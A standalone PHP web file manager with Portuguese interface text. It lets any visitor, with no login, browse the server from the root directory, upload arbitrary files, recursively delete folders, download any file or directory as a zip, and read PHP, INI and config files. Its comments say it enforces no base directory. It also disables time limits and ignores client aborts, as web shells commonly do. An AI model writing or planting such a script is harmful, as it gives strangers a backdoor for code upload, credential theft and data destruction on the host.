<?php
set_time_limit(0);
ignore_user_abort(true);

/**
 * Normalize path without using realpath: resolves "." and ".." and duplicate slashes.
 * Keeps leading "/" if path is absolute.
 */
function normalize_path($path){
    $isAbsolute = (strpos($path, '/') === 0);
    $parts = preg_split('#[\\/]+#', $path);
    $new = [];
    foreach($parts as $p){
        if($p === '' || $p === '.') continue;
        if($p === '..'){
            if(count($new) > 0){
                array_pop($new);
            } else {
                // if absolute and nothing to pop, keep at root
                if(!$isAbsolute){
                    // for relative paths, allow going above by keeping '..'
                    array_unshift($new, '..');
                }
            }
            continue;
        }
        $new[] = $p;
    }
    $out = ($isAbsolute ? '/' : '') . implode('/', $new);
    if($out === '') return $isAbsolute ? '/' : '.';
    return $out;
}

/**
 * Resolve requested directory (from GET/POST). Use realpath when possible,
 * otherwise try to normalize path and accept it if it exists as directory.
 * This implementation DOES NOT enforce a basedir.
 */
function resolve_dir($requested){
    if($requested === null || $requested === '') return getcwd();

    // If requested is relative, interpret relative to current working directory
    // (but if user provided something like ../ or ./ it will be normalized).
    $candidate = $requested;
    // If not absolute, make it relative to current working dir
    if(substr($candidate,0,1) !== '/'){
        $candidate = getcwd() . '/' . $candidate;
    }

    $r = realpath($candidate);
    if($r && is_dir($r)) return $r;

    // Try manual normalization (may succeed when realpath fails)
    $norm = normalize_path($candidate);
    if(is_dir($norm)) return $norm;

    // fallback: try normalizing relative version (user typed relative path)
    $normRel = normalize_path($requested);
    if(is_dir($normRel)) return $normRel;

    // if nothing works, return current working dir
    return getcwd();
}

// read requested dir from GET or POST (we allow both)
$requested = $_REQUEST['d'] ?? null;
$dir = resolve_dir($requested);

$sort = $_GET['s'] ?? 'n';

// handle upload
if(isset($_FILES['f'])){
    $dst = $dir . '/' . basename($_FILES['f']['name']);
    move_uploaded_file($_FILES['f']['tmp_name'], $dst);
    header('Location:?d='.urlencode($dir));
    exit;
}

// handle delete
if(isset($_GET['del'])){
    $target = realpath($_GET['del']);
    if($target){
        if(is_file($target)) @unlink($target);
        elseif(is_dir($target)){
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
            foreach($it as $f){ $f->isDir()?@rmdir($f):@unlink($f); }
            @rmdir($target);
        }
    }
    header('Location:?d='.urlencode($dir));
    exit;
}

if(isset($_GET['dl'])){
    $p = realpath($_GET['dl']);
    if(!$p) die('Invalid path');
    
    // Verificação do tipo de MIME
    function getMimeType($file) {
        // Se a função finfo_open existir, usa fileinfo
        if (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE); // Retorna o tipo MIME
            $mimeType = finfo_file($finfo, $file);
            finfo_close($finfo);
            return $mimeType;
        } else {
            // Caso não tenha o fileinfo, usa a extensão do arquivo
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            $mimeTypes = [
                'jpg' => 'image/jpeg',
                'jpeg' => 'image/jpeg',
                'png' => 'image/png',
                'gif' => 'image/gif',
                'zip' => 'application/zip',
                'pdf' => 'application/pdf',
                'txt' => 'text/plain',
                'html' => 'text/html',
                'css' => 'text/css',
                'js' => 'application/javascript',
                'csv' => 'text/csv',
                'mp4' => 'video/mp4',
                'avi' => 'video/x-msvideo',
                'mkv' => 'video/x-matroska',
                // Adicione mais extensões conforme necessário
            ];
            // Retorna o tipo MIME com base na extensão ou retorna um tipo genérico
            return isset($mimeTypes[$ext]) ? $mimeTypes[$ext] : 'application/octet-stream';
        }
    }

    if(is_dir($p)){
        $zipname = basename($p).'.zip';
        $tmp = tempnam(sys_get_temp_dir(),'zip');
        $zip = new ZipArchive();
        $zip->open($tmp,ZipArchive::CREATE|ZipArchive::OVERWRITE);
        $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS));
        foreach($it as $f){
            $filePath = $f->getRealPath();
            $localPath = substr($filePath, strlen($p) + 1);
            if($localPath==='') continue;
            $zip->addFile($filePath, $localPath);
        }
        $zip->close();
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="'.basename($zipname).'"');
        header('Content-Length: '.filesize($tmp));
        readfile($tmp);
        @unlink($tmp);
        exit;
    } elseif(is_file($p)){
        // Detecta o tipo MIME
        $mimeType = getMimeType($p);
        
        header('Content-Type: ' . $mimeType);
        header('Content-Disposition: attachment; filename="' . basename($p) . '"');
        header('Content-Length: ' . filesize($p));
        readfile($p);
        exit;
    }
}


// handle view
if(isset($_GET['view'])){
    $v = realpath($_GET['view']);
    if(is_file($v) && preg_match('/\.(txt|log|php|ini|conf|json|md)$/i',$v)){
        echo '<!doctype html><html><head><meta charset="utf-8"><style>body{font-family:monospace;white-space:pre-wrap;}</style></head><body>';
        echo htmlspecialchars(file_get_contents($v));
        echo '</body></html>';
        exit;
    }
}

// read directory listing
$f = @scandir($dir);
if($f === false) $f = [];
$items = [];
foreach($f as $x){
    if($x=='.'||$x=='..') continue;
    $p = $dir . '/' . $x;
    $items[] = ['n'=>$x,'p'=>$p,'t'=>@filemtime($p),'s'=>is_file($p)?@filesize($p):0];
}
usort($items, function($a,$b) use($sort){
    return $sort == 't' ? ($b['t'] <=> $a['t']) : strcasecmp($a['n'],$b['n']);
});

function human($s){
    if($s<=0) return '-';
    $units = ['B','KB','MB','GB','TB'];
    $i=0;
    while($s>=1024 && $i<count($units)-1){ $s/=1024; $i++; }
    return round($s,2).' '.$units[$i];
}

// output
echo '<!doctype html><html><head><meta charset="utf-8"><style>body{font-family:monospace;margin:10px}table{width:100%;border-collapse:collapse}td,th{padding:6px;border-bottom:1px solid #ddd;text-align:left}a{text-decoration:none;color:#000}button{padding:4px 8px}input[type=text]{width:60%}</style></head><body>';

// Directory chooser form (input)
echo '<form method="get" style="margin-bottom:8px">';
echo 'Caminho: <input type="text" name="d" value="'.htmlspecialchars($dir).'"> ';
echo '<button type="submit">Abrir</button> ';
echo '<button type="button" onclick="document.getElementsByName(\'d\')[0].value=\'/\'">/ (raiz)</button> ';
echo '<button type="button" onclick="document.getElementsByName(\'d\')[0].value=\'..\'; this.form.submit();">.. (pai)</button>';
echo '</form>';

echo '<div><strong>'.htmlspecialchars($dir).'</strong> <a href="?dl='.urlencode($dir).'">⤓</a></div>';
echo '<div style="margin:8px 0"><a href="?d='.urlencode('/') .'">/</a> ';
$parent = dirname($dir);
if($parent != $dir) echo '<a href="?d='.urlencode($parent).'">..</a>';
echo '</div>';

echo '<table><tr><th><a href="?d='.urlencode($dir).'&s=n">N</a></th><th><a href="?d='.urlencode($dir).'&s=t">M</a></th><th>T</th><th>A</th></tr>';
foreach($items as $it){
    $x=$it['n']; $p=$it['p']; $t=date('Y-m-d H:i', $it['t']?:0); $size = is_dir($p)?'-':human($it['s']);
    if(is_dir($p)){
        echo '<tr><td><a href="?d='.urlencode($p).'">'.htmlspecialchars($x).'/</a></td><td>'.$t.'</td><td>'.$size.'</td><td><a href="?dl='.urlencode($p).'">⤓</a> <a href="?del='.urlencode($p).'" onclick="return confirm(\'Del?\')">✖</a></td></tr>';
    } else {
        $view = preg_match('/\.(txt|log|php|ini|conf|json|md)$/i',$x)?'<a href="?view='.urlencode($p).'">👁</a> ':''; 
        echo '<tr><td>'.htmlspecialchars($x).'</td><td>'.$t.'</td><td>'.$size.'</td><td>'.$view.'<a href="?dl='.urlencode($p).'">⤓</a> <a href="?del='.urlencode($p).'" onclick="return confirm(\'Del?\')">✖</a></td></tr>';
    }
}
echo '</table>';

echo '<form method="post" enctype="multipart/form-data" style="margin-top:8px"><input type="file" name="f"><button>Enviar</button></form>';
echo '</body></html>';
?>
